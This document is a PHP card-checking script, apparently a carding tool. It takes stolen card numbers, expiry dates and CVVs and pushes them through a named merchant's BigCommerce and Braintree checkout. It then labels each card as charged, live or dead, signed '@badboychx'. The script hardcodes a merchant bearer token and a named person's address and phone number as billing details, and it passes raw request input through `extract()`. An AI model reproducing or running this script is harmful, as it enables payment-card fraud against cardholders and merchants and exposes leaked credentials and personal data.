<?php 

date_default_timezone_set('Asia/Jakarta');

// Only set error reporting once
// error_reporting(0);

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    extract($_POST);
} elseif ($_SERVER['REQUEST_METHOD'] == "GET") {
    extract($_GET);
}

function GetStr($string, $start, $end) {
    $str = explode($start, $string);
    $str = explode($end, $str[1]);  
    return $str[0];
}

function inStr($string, $start, $end, $value) {
    $str = explode($start, $string);
    $str = explode($end, $str[$value]);
    return $str[0];
}

$idd = '322580920';

// Check if $lista is set and not null before using it
if(isset($lista) && !is_null($lista)) {
    $separa = explode("|", $lista);
    if(count($separa) >= 4) {
        $cc = $separa[0];
        $mes = $separa[1];
        $ano = $separa[2];
        $cvv = $separa[3];
    } else {
        die("<span>Error: Invalid format for lista</span>");
    }
} else {
    die("<span>Error: lista is not set or is null</span>");
}

// Function definitions for value() and mod()...



$url = 'https://payments.bigcommerce.com/api/public/v1/orders/payments';

// Payload data
$header = array(
   'authority: https://payments.bigcommerce.com',
    'path: /api/public/v1/orders/payments',
    'scheme: https',
    'accept: */*',
    'accept-encoding: */*',    
    'accept-language: vi-VN,vi;q=0.6',
    'content-type: text/plain;charset=UTF-8',
    'host: payments.bigcommerce.com',
    'origin: https://michiganmotorz.com',
    'referer: https://michiganmotorz.com/',
    'sec-ch-ua: "(Not(A:Brand";v="99", "Google Chrome";v="130", "Chromium";v="130"',
    'sec-ch-ua-mobile: ?0',
    'sec-ch-ua-platform: "Windows"',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: same-origin',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6654.120 Safari/537.36',
);
//&card[cvc]=000
$email = 'legendhr'.rand(11,9999).'@gmail.com';
$data = '{"customer":{"geo_ip_country_code":"VN","session_token":"'.$token.'"},"notify_url":"https://internalapi-1003263846.mybigcommerce.com/internalapi/v1/checkout/order/3165/payment","order":{"billing_address":{"city":"Philadelphia","country_code":"US","country":"United States","first_name":"Marquise","last_name":"Goyette","phone":"3096924850","state_code":"PA","state":"Pennsylvania","street_1":"5751 N Broad St","zip":"19141","email":"kennethhnned4@gmail.com"},"coupons":[],"currency":"USD","id":"3165","items":[{"code":"07098e1d-6080-475b-ace2-c82c26112c53","variant_id":3225,"name":"MerCruiser Oil Filter Wrench","price":995,"unit_price":995,"quantity":1,"sku":"91-889277Q01"}],"shipping":[{"method":"If no backorders, ETA is (Ground Delivers: 12/18)"}],"shipping_address":{"city":"Philadelphia","country_code":"US","country":"United States","first_name":"Marquise","last_name":"Goyette","phone":"3096924850","state_code":"PA","state":"Pennsylvania","street_1":"5751 N Broad St","zip":"19141"},"token":"4dbde81a502d9af6d7f9507a86d1be89","totals":{"grand_total":2476,"handling":0,"shipping":1481,"subtotal":995,"tax":0}},"payment":{"device_info":"{\"device_session_id\":\"74d4df41b28df0cc7bcc2d5e9822480e\",\"fraud_merchant_id\":null,\"correlation_id\":\"ffd15939-9910-4851-8dc3-6277cacd\"}","gateway":"braintree","notify_url":"https://internalapi-1003263846.mybigcommerce.com/internalapi/v1/checkout/order/3165/payment","method":"paypal_connect","credit_card_token":{"token":"tokencc_bj_cj85ck_kr4yfw_r9h6p8_v47b7t_t86"}},"store":{"hash":"ihlmpvq36x","id":"1003263846","name":"Michigan Motorz LLC"}}';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute cURL request
$r2 = curl_exec($ch);
$data = json_decode($r2,1);
$token = $data['paymentResource']['paymentToken'];
//echo$token = trim(strip_tags(getStr($r2, 'redirectUrl":"https://www.paypal.com/checkoutnow?token=', '",'))); 


curl_close($ch);
$url = 'https://payments.braintree-api.com/graphql';

// Payload data
$header = array(
    'authority: payments.braintree-api.com',
    'path: /graphql',
    'accept: */*',
    'accept-language: vi-VN,vi;q=0.6',
    'authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE3MzQwNTAyMzEsImp0aSI6ImY2YTZlZTZkLTYwNTAtNDhiOS1iZjU5LTNjNmViZDUxMmYyYyIsInN1YiI6InhrZjY3bndwNmprYjljbTUiLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6InhrZjY3bndwNmprYjljbTUiLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0Ijp0cnVlfSwicmlnaHRzIjpbIm1hbmFnZV92YXVsdCJdLCJzY29wZSI6WyJCcmFpbnRyZWU6VmF1bHQiLCJCcmFpbnRyZWU6QVhPIl0sImF1ZCI6WyJtaWNoaWdhbm1vdG9yei5jb20iXSwib3B0aW9ucyI6eyJtZXJjaGFudF9hY2NvdW50X2lkIjoiTWljaGlnYW5Nb3RvcnpMTENfaW5zdGFudCJ9fQ.iygGCslkwFcpXuThQEWsTI_fqR7-tmedfGZvOEMnUyUtw9gyBwtREjrFfrAPR7-DjRif0RPMMXEVlEfpjrac7A',
    'braintree-version: 2018-05-10',
    'content-type: application/json',
    'origin: https://www.paypal.com',
    //'paypal-client-context: EC-'.$token.'',
    //'paypal-client-metadata-id: EC-'.$token.'',
    'origin: https://assets.braintreegateway.com',
    'referer: https://assets.braintreegateway.com/',
    'sec-ch-ua: "(Not(A:Brand";v="99", "Google Chrome";v="130", "Chromium";v="130"',
    'sec-ch-ua-arch: ""',
    'sec-ch-ua-bitness: ""',
    'sec-ch-ua-full-version: "124.0.6327.2"',
    'sec-ch-ua-full-version-list: "(Not(A:Brand";v="99.0.0.0", "Google Chrome";v="130", "Chromium";v="130"',
    'sec-ch-ua-mobile: ?0',
    'sec-ch-ua-mode: "220333QBI"',
    'sec-ch-ua-platform: "Android"',
    'sec-ch-ua-platform-version: "13.0.0"',
    'sec-ch-ua-wow64: ?0',
    'sec-fetch-dest: empty',
    'sec-fetch-mode: cors',
    'sec-fetch-site: cross-site',
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6654.120 Safari/537.36',
    //'x-app-name: checkoutuinodeweb_weasley',
    //'x-country: US',
    //'x-locale: en_US',
    //'x-requested-with: fetch',
);
//&card[cvc]=000
$data = '{"clientSdkMetadata":{"source":"client","integration":"custom","sessionId":"9ed6193d-b728-47cb-9762-01a287965c77"},"query":"mutation TokenizeCreditCardForPayPalConnect($input: TokenizeCreditCardForPayPalConnectInput!) {   tokenizeCreditCardForPayPalConnect(input: $input) {     clientMutationId     paymentMethod {       id       details {         ... on CreditCardDetails {       bin       brandCode       last4       cardholderName       expirationMonth      expirationYear      binData {         prepaid         healthcare         debit         durbinRegulated         commercial         payroll         issuingBank         countryOfIssuance         productId       }         }       }     }  } }","variables":{"input":{"creditCard":{"number":"'.$cc.'","expirationMonth":"'.$mes.'","expirationYear":"'.$ano.'","cvv":"'.$cvv.'","cardholderName":"Marquise Goyette","billingAddress":{"countryCodeAlpha2":"US","locality":"Philadelphia","region":"PA","postalCode":"19141","streetAddress":"5751 N Broad St"}},"options":{"validate":false},"optIn":false,"termsAndConditionsVersion":"","authAssertion":""}},"operationName":"TokenizeCreditCardForPayPalConnect"}';
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute cURL request
$r3 = curl_exec($ch);

$msg1 = trim(strip_tags(getStr($r3, '"message":"', '",'))); 

$c0de1 = trim(strip_tags(getStr($r3, '"code":"', '",'))); 

$end_time = microtime(true);
  $time = number_format($end_time - $start_time, 2);



        if (
        strpos($r3, 'ADD_SHIPPING_ERROR') ||
        strpos($r3, 'NEED_CREDIT_CARD') ||
        strpos($r3, '"status": "succeeded"') ||
        strpos($r3, 'Thank You For Donation.') ||
        strpos($r3, 'Your payment has already been processed') ||
        strpos($r3, 'Success ') ||
        strpos($r3, '"type":"one-time"') ||
        strpos($r3, '/donations/thank_you?donation_number=')
    ) {
        
        echo "CHARGED</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 -  CHARGED 0.01$ SUCCESSFULLY ?</span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
        
    } elseif (strpos($r3, 'INVALID_BILLING_ADDRESS')) {
       echo "LIVE</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 -  INVALID BILLING ADDRESS</span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    } elseif (strpos($r3, 'INVALID_SECURITY_CODE')) {
    echo "LIVE</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 -  INVALID SECURITY COD ?</span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    } elseif (strpos($r3, 'EXISTING_ACCOUNT_RESTRICTED')) {
    echo "LIVE</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 - Existing Account Restricted </span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    } elseif (strpos($r3, 'is3DSecureRequired')) {
    echo "LIVE</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 - 3D SECURE REQUIRED ?</span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    } elseif (strpos($r3, 'CARD_GENERIC_ERROR')) {
    echo "DEAD</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 -  ISSUER_DECLINE</span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    } elseif (strpos($r3, 'No Account')) {
    echo "DEAD</span>  </span>CC: $lista</span>  <br>RESPONSE:$c0de1 -  No Account</span><br><span>GATE: BRAINTREE</span><br><span>BY: @badboychx</span>";

    } else {
    echo "DEAD</span>  </span>CC: $lista</span>  <br>RESPONSE: $msg1 - $c0de1 </span><br><span>GATE: BRAINTREE+ PAYPAL  1$</span><br><span>BY: @badboychx</span>";
    }

curl_close($ch);
ob_flush();

//echo $result1;
//echo $result2;

?>